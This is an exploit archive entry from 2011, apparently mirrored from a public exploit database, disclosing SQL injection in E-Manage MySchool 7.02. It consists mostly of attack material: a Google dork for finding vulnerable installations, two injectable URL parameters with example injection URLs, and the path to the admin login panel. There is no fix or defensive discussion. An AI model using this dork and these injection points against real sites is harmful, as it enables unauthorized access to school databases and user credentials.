发布 2011-05-21 漏洞条目

E-Manage MySchool 7.02 – SQL Injection

Exploit Source

Exploit Title: SQL Injection MySchool Version 7.02

##################################################

# Google Dork: "MySchool Version 7.02"

# Date: 05-21-2011

# Software Link: http://em.com.eg/

# Version: Version 7.02

# Author: az7rb

# Tested on : winxp sp3 Ar end bt5

# Homepage : www.p0c.cc

# Greetz : p0c Team & Dr.NaNo & All My Msn Messenger Friends

##################################################

#################### wWw.p0c.cc #####################

##################################################

# SQL :

http://localhost/myschool/index.php?do=show_details&ID=[sql]

# Example :

http://localhost/myschool/index.php?do=show_details&ID=29'

# SQL 2 :

http://localhost/myschool/show_page.php?Page_ID=[sql]

# Example :

http://localhost/myschool/show_page.php?Page_ID=&table=users'

# Link Control Panel :

http://localhost/myschool/login.php

##################################################

相关漏洞条目